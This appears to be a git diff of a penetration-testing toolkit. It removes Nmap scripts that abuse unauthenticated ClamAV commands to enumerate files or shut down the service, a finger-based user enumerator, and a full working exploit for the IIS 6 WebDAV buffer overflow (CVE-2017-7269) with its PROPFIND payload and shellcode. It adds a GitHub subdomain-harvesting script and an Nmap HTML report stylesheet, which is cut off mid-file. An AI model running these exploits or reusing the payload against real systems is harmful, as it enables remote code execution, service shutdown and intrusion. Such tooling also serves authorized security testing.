-      stdnse.debug1("Failed to send SCAN command")
-      return nil
-    end
-
-    status, data = s:receive()
-    if status and data:match("No such file") then
-      stdnse.debug1("SCAN command enabled")
-      return true, nil
-    end
-  else 
-    status, err = s:send(string.format("SCAN %s", file))
-    if not status then
-      stdnse.debug1("Failed to send 'SCAN %s' command", file)
-      return nil
-    end
-    status, data = s:receive()
-    if status then
-      if data:match("OK") then
-        stdnse.debug1("File '%s' exists", file)
-        return true, true
-      else
-        stdnse.debug1("File '%s' does not exists", file)
-        return true, nil
-      end
-    end
-  end
-
-  return nil
-end
-
-local function check_clam(host, port)
-  local s = nmap.new_socket()
-  local status, err = s:connect(host, port)
-  if not status then
-    stdnse.debug1("Failed to connect")
-    return nil
-  end
-  status, err = s:send("PING")
-  if not status then
-    stdnse.debug1("Failed to send PING command")
-    return nil
-  end
-  local data
-  status, data = s:receive()
-  if status and data:match("PONG") then
-    stdnse.debug1("PONG response received")
-    return true
-  end
-  return nil
-end
-
-action = function(host, port)
-  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
-  local scandb = stdnse.get_script_args(SCRIPT_NAME..".scandb") or nil
-
-  if cmd == "scan" and not scandb then
-    return "The argument 'scandb' must be set if we are using the command 'SCAN'"
-  end
-
-  --Check the service and update the port table
-  local clamchk = check_clam(host, port)
-  if clamchk then
-    stdnse.debug1("ClamAV daemon found")
-    port.version.name = "clam"
-    port.version.product = "ClamAV"
-    nmap.set_port_version(host, port)
-  end
-
-  local vuln = {
-    title = 'ClamAV Remote Command Execution',
-    state = vulns.STATE.NOT_VULN,
-    description = [[
-ClamAV 0.99.2, and possibly other previous versions, allow the execution of the 
-clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' 
-may be used to enumerate system files and the command 'SHUTDOWN' shut downs the 
-service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
-]],
-    references = {
-      'https://bugzilla.clamav.net/show_bug.cgi?id=11585',
-      'https://twitter.com/nitr0usmx/status/740673507684679680'
-    },
-    dates = {
-      disclosure = {year = '2016', month = '06', day = '8'},
-    },
-  }
-  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-  local status, files = nil
-
-  if cmd == "scan" then
-    local file = io.open(scandb, "r")
-    if not file then
-      stdnse.debug1("Couldn't open file '%s'", scandb)
-      return nil
-    end
-    local files = {}
-    local exists
-    while true do
-      local db_line = file:read()
-      if not db_line then
-        break
-      end
-      status, exists = scan(host, port, db_line)
-      if status and exists then
-        table.insert(files, string.format("%s - FOUND!", db_line))
-      end
-    end
-    if #files > 0 then
-      vuln.extra_info = stdnse.format_output(true, files)
-      vuln.state = vulns.STATE.VULN
-    end
-  elseif cmd == "shutdown" then
-    status = shutdown(host, port)
-    if status then
-      vuln.extra_info = "SHUTDOWN command sent succesfully."  
-      vuln.state = vulns.STATE.VULN
-    end
-  else 
-    status, files = scan(host, port, nil)
-    if status then
-      vuln.extra_info = "SCAN command is enabled."
-      vuln.state = vulns.STATE.VULN
-    end
-  end
-
-  return vuln_report:make_output(vuln)
-end

bin/fingertool.sh

@@ -1,30 +0,0 @@
-#!/bin/bash
-# fingertool - This script will enumerate users using finger
-# SECFORCE - Antonio Quina
-
-if [ $# -eq 0 ]
-	then
-		echo "Usage: $0 <IP> [<WORDLIST>]"
-		echo "eg: $0 10.10.10.10 users.txt"
-		exit
-	else
-		IP="$1"
-fi
-
-if [ "$2" == "" ]
-	then
-		WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt"
-	else
-		WORDLIST="$2"
-fi
-
-
-for username in $(cat $WORDLIST | sort -u| uniq)
-	do output=$(finger -l $username@$IP)
-	if [[ $output == *"Directory"* ]]
-		then
-			echo "Found user: $username"
-	fi
-	done
-
-echo "Finished!"

bin/github-subdomains.py

@@ -0,0 +1,137 @@
+#!/usr/bin/python3.5
+
+# I don't believe in license.
+# You can do whatever you want with this program.
+
+import os
+import sys
+import re
+import time
+import requests
+import random
+import argparse
+from functools import partial
+from colored import fg, bg, attr
+from multiprocessing.dummy import Pool
+
+
+TOKENS_FILE = os.path.dirname(os.path.realpath(__file__))+'/.tokens'
+
+
+def githubApiSearchCode( search, page ):
+    headers = {"Authorization":"token "+random.choice(t_tokens)}
+    url = 'https://api.github.com/search/code?s=indexed&type=Code&o=desc&q=' + search + '&page=' + str(page)
+    # print(url)
+
+    try:
+        r = requests.get( url, headers=headers, timeout=5 )
+        json = r.json()
+        return json
+    except Exception as e:
+        print( "%s[-] error occurred: %s%s" % (fg('red'),e,attr(0)) )
+        return False
+
+
+def getRawUrl( result ):
+    raw_url = result['html_url'];
+    raw_url = raw_url.replace( 'https://github.com/', 'https://raw.githubusercontent.com/' )
+    raw_url = raw_url.replace( '/blob/', '/' )
+    return raw_url;
+
+
+def readCode( regexp, source, result ):
+    url = getRawUrl( result )
+    code = doGetCode( url )
+    # print(code)
+
+    if code:
+        matches = re.findall( regexp, code )
+        if matches:
+            for sub in  matches:
+                # print(sub)
+                sub = sub[0].replace('2F','').lower().strip()
+                if len(sub) and not sub in t_history:
+                    t_history.append( sub )
+                    sys.stdout.write( "%s" % sub )
+                    if source:
+                        sys.stdout.write( "\t-> %s" % result['html_url'] )
+                    sys.stdout.write( "\n" )
+
+
+def doGetCode( url ):
+    # print( url )
+    try:
+        r = requests.get( url, timeout=5 )
+    except Exception as e:
+        sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) )
+        return False
+
+    return r.text
+
+
+parser = argparse.ArgumentParser()
+parser.add_argument( "-t","--token",help="auth token (required)" )
+parser.add_argument( "-d","--domain",help="domain you are looking for (required)" )
+parser.add_argument( "-e","--extend",help="also look for <dummy>example.com", action="store_true" )
+parser.add_argument( "-s","--source",help="display first url where subdomains are found", action="store_true" )
+parser.parse_args()
+args = parser.parse_args()
+
+t_tokens = []
+if args.token:
+    t_tokens = args.token.split(',')
+else:
+    if os.path.isfile(TOKENS_FILE):
+        fp = open(TOKENS_FILE,'r')
+        t_tokens = fp.read().split("\n")
+        fp.close()
+
+if not len(t_tokens):
+    parser.error( 'auth token is missing' )
+
+if args.source:
+    _source = True
+else:
+    _source = False
+
+if args.domain:
+    _domain = args.domain
+else:
+    parser.error( 'domain is missing' )
+
+t_history = []
+page = 1
+_search = '"' + _domain + '"'
+
+### this is a test, looks like we got more result that way
+import tldextract
+t_host_parse = tldextract.extract( _domain )
+_search = '"' + t_host_parse.domain + '"'
+# print( t_host_parse )
+# exit()
+###
+
+# egrep -io "[0-9a-z_\-\.]+\.([0-9a-z_\-]+)?`echo $h|awk -F '.' '{print $(NF-1)}'`([0-9a-z_\-\.]+)?\.[a-z]{1,5}"
+
+
+if args.extend:
+    # _regexp = r'[0-9a-zA-Z_\-\.]+' + _domain.replace('.','\.')
+    _regexp = r'([0-9a-z_\-\.]+\.([0-9a-z_\-]+)?'+t_host_parse.domain+'([0-9a-z_\-\.]+)?\.[a-z]{1,5})'
+else:
+    _regexp = r'(([0-9a-zA-Z_\-\.]+)\.' + _domain.replace('.','\.')+')'
+# print(_regexp)
+
+# for page in range(1,10):
+while True:
+    time.sleep( 1 )
+    t_json = githubApiSearchCode( _search, page )
+    # print(t_json)
+    page = page + 1
+
+    if not t_json or 'documentation_url' in t_json or not 'items' in t_json or not len(t_json['items']):
+        break
+
+    pool = Pool( 30 )
+    pool.map( partial(readCode,_regexp,_source), t_json['items'] )
+    pool.close()
+    pool.join()

bin/iis-buffer-overflow.nse

@@ -1,181 +0,0 @@
-local nmap = require "nmap"
-local string = require "string"
-local shortport = require "shortport"
-local vulns = require "vulns"
-
--- NSE Buffer Overflow vulnerability in IIS
-
----
--- @usage
--- ./nmap iis-buffer-overflow <target>
---
--- @output
--- PORT   STATE  SERVICE
--- 80/tcp open   http
--- |  iis-buffer-overflow:
--- |    VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2
--- |       State: LIKELY_VULNERABLE
--- |       Risk factor: High CVSS: 10.0
--- |       Description:
--- |         Buffer overflow in the ScStoragePathFromUrl function in the WebDAV
--- |         service in Internet Information Services (IIS) 6.0
--- |         in Microsoft Windows Server 2003 R2 allows remote attackers to execute
--- |         arbitrary code via a long header beginning with "If: <http://" in a
--- |         PROPFIND request, as exploited in the wild in July or August 2016.
--- |
--- |         Original exploit by Zhiniang Peng and Chen Wu.
--- |
--- |    References:
--- |     https://github.com/edwardz246003/IIS_exploit,
--- |_    https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html
---
-
-author = {
-  "Zhiniang Peng", -- Original author
-  "Chen Wu",       -- Original author
-  "Rewanth Cool"   -- NSE script author
-}
-license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
-categories = {"exploit", "vuln", "intrusive"}
-
-portrule = shortport.portnumber(80, "tcp")
-
-action = function(host, port)
-  local socket, response, try, catch, payload, shellcode, vulnerable_name
-
-  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-  local vuln = {
-    title = 'Buffer Overflow in IIS 6 and Windows Server 2003 R2',
-    state = vulns.STATE.NOT_VULN,
-    risk_factor = "High",
-    description = [[
-Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0
-in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning
-with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
-
-Original exploit by Zhiniang Peng and Chen Wu.
-    ]],
-    IDS = {
-      CVE = 'CVE-2017-7269'
-    },
-    scores = {
-      CVSS = '10.0'
-    },
-    references = {
-      'https://github.com/edwardz246003/IIS_exploit',
-      'https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html'
-    },
-    dates = {
-      disclosure = {year = '2017', month = '03', day = '26'},
-    }
-  }
-
-  -- If domain name doesn't exist this line of code takes ip into consideration
-  vulnerable_name = host.targetname or host.ip
-
-  socket = nmap.new_socket()
-  catch = function()
-    socket:close()
-  end
-
-  try = nmap.new_try(catch)
-  try(socket:connect(host, port))
-
-  -- Crafting the payload by parts
-
-  -- Crafting the request with HTTP PROPFIND method
-  payload = 'PROPFIND / HTTP/1.1\r\nHost: ' .. vulnerable_name .. '\r\nContent-Length: 0\r\n'
-  payload = payload .. 'If: <http://' .. vulnerable_name .. '/aaaaaaa'
-
-  -- Random text added to payload (Can be modified only for experimental purposes)
-  payload = payload .. '\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd'
-  payload = payload .. '\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5'
-  payload = payload .. '\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91'
-  payload = payload .. '\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80'
-  payload = payload .. '\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3'
-  payload = payload .. '\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4'
-  payload = payload .. '\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88'
-  payload = payload .. '\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7'
-  payload = payload .. '\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab'
-  payload = payload .. '\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80'
-  payload = payload .. '\xb3\xe3\x95\xb7'
-
-  -- Main payload (Do not edit this part)
-  payload = payload .. '\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6'
-  payload = payload .. '\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88'
-  payload = payload .. '\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5'
-  payload = payload .. '\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83'
-  payload = payload .. '\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d'
-  payload = payload .. '\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7'
-  payload = payload .. '\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
-
-  payload = payload .. '>'
-  payload = payload .. ' (Not <locktoken:write1>) <http://' .. vulnerable_name .. '/bbbbbbb'
-
-  -- Random text added to payload (Can be modified only for experimental purposes)
-  payload = payload .. '\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6'
-  payload = payload .. '\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5'
-  payload = payload .. '\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7'
-  payload = payload .. '\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5'
-  payload = payload .. '\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5'
-  payload = payload .. '\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4'
-  payload = payload .. '\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6'
-  payload = payload .. '\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7'
-  payload = payload .. '\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3'
-  payload = payload .. '\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5'
-
-  -- Main payload (Do not edit this part)
-  payload = payload .. '\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7'
-  payload = payload .. '\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6'
-  payload = payload .. '\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5'
-  payload = payload .. '\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7'
-  payload = payload .. '\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6'
-  payload = payload .. '\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae'
-  payload = payload .. '\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80'
-  payload = payload .. '\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c'
-  payload = payload .. '\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0'
-  payload = payload .. '\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8'
-  payload = payload .. '\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
-
-  -- Shellcode
-  shellcode = 'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA'
-  shellcode = shellcode .. 'BAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V'
-  shellcode = shellcode .. '3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O0'
-  shellcode = shellcode .. '2LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ'
-  shellcode = shellcode .. '2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1'
-  shellcode = shellcode .. 'KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
-
-  payload = payload .. shellcode
-  payload = payload .. '>\r\n\r\n'
-
-  -- Exploiting the vulnerability
-  try(socket:send(payload))
-
-  -- We receive a 200 response if the payload succeeds.
-  response = try(socket:receive_bytes(80960))
-  socket:close()
-
-  -- Checking for 200 response in the response
-  local regex = "HTTP/1.1 (%d+)"
-  local status = string.match(response, regex)
-
-  if status == '200' then
-    -- Buffer overflow is successfully executed on the server.
-    vuln.state = vulns.STATE.EXPLOIT
-    vuln.exploit_results = response
-  elseif status == '400' then
-    -- Bad request error is occured because webdav is not installed.
-    vuln.state = vulns.STATE.LIKELY_VULN
-    vuln.exploit_results = "Server returned 400: Install webdav and try again."
-  elseif status == '502' then
-    -- Likely to have an error in the Server Name
-    vuln.state = vulns.STATE.LIKELY_VULN
-    vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again"
-  elseif status ~= nil then
-    vuln.exploit_results = response
-  end
-
-  return vuln_report:make_output(vuln)
-
-end
-

bin/nmap-bootstrap.xsl

@@ -0,0 +1,281 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+Nmap Bootstrap XSL
+Creative Commons BY-SA
+Andreas Hontzia (@honze_net)
+-->
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="html" encoding="utf-8" indent="yes" doctype-system="about:legacy-compat"/>
+  <xsl:template match="/">
+    <html lang="en">
+      <head>
+        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"/>
+        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"/>
+        <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.19/css/dataTables.bootstrap.min.css"/>
+        <script src="https://code.jquery.com/jquery-3.3.1.js"></script>
+        <script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>
+        <script src="https://cdn.datatables.net/1.10.19/js/dataTables.bootstrap.min.js"></script>
+        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
+        <style>
+          .target:before {
+            content: "";
+            display: block;
+            height: 50px;
+            margin: -20px 0 0;
+          }
+          @media only screen and (min-width:1900px) {
+            .container {
+              width: 1800px;
+              }
+          }
+          .footer {
+            margin-top:60px;
+            padding-top:60px;
+            width: 100%;
+            height: 180px;
+            background-color: #f5f5f5;
+          }
+        </style>
+        <title>Scan Report Nmap <xsl:value-of select="/nmaprun/@version"/></title>
+      </head>
+      <body>
+        <nav class="navbar navbar-default navbar-fixed-top">
+          <div class="container-fluid">
+            <div class="navbar-header">
+              <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false">
+                <span class="sr-only">Toggle navigation</span>
+                <span class="icon-bar"></span>
+                <span class="icon-bar"></span>
+                <span class="icon-bar"></span>
+              </button>
+              <a class="navbar-brand" href="#"><span class="glyphicon glyphicon-home"></span></a>
+            </div>
+            <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
+              <ul class="nav navbar-nav">
+                <li><a href="#scannedhosts">Scanned Hosts</a></li>
+                <li><a href="#onlinehosts">Online Hosts</a></li>
+                <li><a href="#openservices">Open Services</a></li>
+              </ul>
+            </div>
+          </div>
+        </nav>
+        <div class="container">
+          <div class="jumbotron">
+            <h1>Scan Report<br/><small>Nmap <xsl:value-of select="/nmaprun/@version"/></small></h1>
+            <pre style="white-space:pre-wrap; word-wrap:break-word;"><xsl:value-of select="/nmaprun/@args"/></pre>
+            <p class="lead">
+              <xsl:value-of select="/nmaprun/@startstr"/> – <xsl:value-of select="/nmaprun/runstats/finished/@timestr"/><br/>
+              <xsl:value-of select="/nmaprun/runstats/hosts/@total"/> hosts scanned.
+              <xsl:value-of select="/nmaprun/runstats/hosts/@up"/> hosts up.
+              <xsl:value-of select="/nmaprun/runstats/hosts/@down"/> hosts down.
+            </p>
+            <div class="progress">
+              <div class="progress-bar progress-bar-success" style="width: 0%">
+                <xsl:attribute name="style">width:<xsl:value-of select="/nmaprun/runstats/hosts/@up div /nmaprun/runstats/hosts/@total * 100"/>%;</xsl:attribute>
+                <xsl:value-of select="/nmaprun/runstats/hosts/@up"/>
+                <span class="sr-only"></span>
+              </div>
+              <div class="progress-bar progress-bar-danger" style="width: 0%">
+                <xsl:attribute name="style">width:<xsl:value-of select="/nmaprun/runstats/hosts/@down div /nmaprun/runstats/hosts/@total * 100"/>%;</xsl:attribute>
+                <xsl:value-of select="/nmaprun/runstats/hosts/@down"/>
+                <span class="sr-only"></span>
+              </div>
+            </div>
+          </div>
+          <h2 id="scannedhosts" class="target">Scanned Hosts<xsl:if test="/nmaprun/runstats/hosts/@down > 1024"><small> (offline hosts are hidden)</small></xsl:if></h2>
+          <div class="table-responsive">
+            <table id="table-overview" class="table table-striped dataTable" role="grid">
+              <thead>
+                <tr>
+                  <th>State</th>
+                  <th>Address</th>
+                  <th>Hostname</th>
+                  <th>TCP (open)</th>
+                  <th>UDP (open)</th>
+                </tr>
+              </thead>
+              <tbody>
+                <xsl:choose>
+                  <xsl:when test="/nmaprun/runstats/hosts/@down > 1024">
+                    <xsl:for-each select="/nmaprun/host[status/@state='up']">
+                      <tr>
+                        <td><span class="label label-danger"><xsl:if test="status/@state='up'"><xsl:attribute name="class">label label-success</xsl:attribute></xsl:if><xsl:value-of select="status/@state"/></span></td>
+                        <td><xsl:value-of select="address/@addr"/></td>
+                        <td><xsl:value-of select="hostnames/hostname/@name"/></td>
+                        <td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='tcp'])"/></td>
+                        <td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='udp'])"/></td>
+                      </tr>
+                    </xsl:for-each>
+                  </xsl:when>
+                  <xsl:otherwise>
+                    <xsl:for-each select="/nmaprun/host">
+                      <tr>
+                        <td><span class="label label-danger"><xsl:if test="status/@state='up'"><xsl:attribute name="class">label label-success</xsl:attribute></xsl:if><xsl:value-of select="status/@state"/></span></td>
+                        <td><xsl:value-of select="address/@addr"/></td>
+                        <td><xsl:value-of select="hostnames/hostname/@name"/></td>
+                        <td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='tcp'])"/></td>
+                        <td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='udp'])"/></td>
+                      </tr>
+                    </xsl:for-each>
+                  </xsl:otherwise>
+                </xsl:choose>
+              </tbody>
+            </table>
+          </div>
+          <script>
+            $(document).ready(function() {
+              $('#table-overview').DataTable();
+            });
+          </script>
+          <h2 id="onlinehosts" class="target">Online Hosts</h2>
+          <xsl:for-each select="/nmaprun/host[status/@state='up']">
+            <div class="panel panel-default">
+              <div class="panel-heading">
+                <h3 class="panel-title"><xsl:value-of select="address/@addr"/><xsl:if test="count(hostnames/hostname) > 0"> - <xsl:value-of select="hostnames/hostname/@name"/></xsl:if></h3>
+              </div>
+              <div class="panel-body">
+                <xsl:if test="count(hostnames/hostname) > 0">
+                  <h4>Hostnames</h4>
+                  <ul>
+                    <xsl:for-each select="hostnames/hostname">
+                      <li><xsl:value-of select="@name"/> (<xsl:value-of select="@type"/>)</li>
+                    </xsl:for-each>
+                  </ul>
+                </xsl:if>
+                <h4>Ports</h4>
+                <div class="table-responsive">
+                  <table class="table table-bordered">
+                    <thead>
+                      <tr>
+                        <th>Port</th>
+                        <th>Protocol</th>
+                        <th>State<br/>Reason</th>
+                        <th>Service</th>
+                        <th>Product</th>
+                        <th>Version</th>
+                        <th>Extra Info</th>
+                      </tr>
+                    </thead>
+                    <tbody>
+                      <xsl:for-each select="ports/port">
+                        <xsl:choose>
+                          <xsl:when test="state/@state = 'open'">
+                            <tr class="success">
+                              <td title="Port"><xsl:value-of select="@portid"/></td>
+                              <td title="Protocol"><xsl:value-of select="@protocol"/></td>
+                              <td title="State / Reason"><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
+                              <td title="Service"><xsl:value-of select="service/@name"/></td>
+                              <td title="Product"><xsl:value-of select="service/@product"/></td>
+                              <td title="Version"><xsl:value-of select="service/@version"/></td>
+                              <td title="Extra Info"><xsl:value-of select="service/@extrainfo"/></td>
+                            </tr>
+                            <tr>
+                              <td colspan="7">
+                                <a><xsl:attribute name="href">https://nvd.nist.gov/vuln/search/results?form_type=Advanced&amp;cves=on&amp;cpe_version=<xsl:value-of select="service/cpe"/></xsl:attribute><xsl:value-of select="service/cpe"/></a>
+                                <xsl:for-each select="script">
+                                  <h5><xsl:value-of select="@id"/></h5>
+                                  <pre style="white-space:pre-wrap; word-wrap:break-word;"><xsl:value-of select="@output"/></pre>
+                                </xsl:for-each>
+                              </td>
+                            </tr>
+                          </xsl:when>
+                          <xsl:when test="state/@state = 'filtered'">
+                            <tr class="warning">
+                              <td><xsl:value-of select="@portid"/></td>
+                              <td><xsl:value-of select="@protocol"/></td>
+                              <td><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
+                              <td><xsl:value-of select="service/@name"/></td>
+                              <td><xsl:value-of select="service/@product"/></td>
+                              <td><xsl:value-of select="service/@version"/></td>
+                              <td><xsl:value-of select="service/@extrainfo"/></td>
+                            </tr>
+                          </xsl:when>
